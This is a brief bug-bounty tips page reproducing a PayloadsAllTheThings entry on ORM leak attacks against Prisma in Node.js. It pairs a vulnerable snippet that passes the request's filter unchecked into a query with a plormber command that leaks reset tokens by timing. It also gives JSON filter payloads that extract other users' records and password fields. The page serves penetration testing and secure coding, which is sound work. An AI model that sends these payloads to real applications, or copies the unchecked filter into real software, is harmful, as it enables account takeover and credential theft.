ORM Leak: Prisma (Node.JS)

Information disclosureExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Tools:

  • elttam/plormber - tool for exploiting ORM Leak time-based vulnerabilities

    ps1
    plormber prisma-contains \
        --chars '0123456789abcdef' \
        --base-query-json '{"query": {PAYLOAD}}' \
        --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
        --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
        --verbose-stats \
        https://some.vuln.app/articles/time-based;

Example:

Example of an ORM leak in Node.JS with Prisma.

js
const posts = await prisma.article.findMany({
  where: req.query.filter as any // Vulnerable to ORM Leaks
})

Use the include to return all the fields of user records that have created an article

json
{
  "filter": {
    "include": {
      "createdBy": true
    }
  }
}

Select only one field

json
{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true
        }
      }
    }
  }
}

Comments

No comments yet.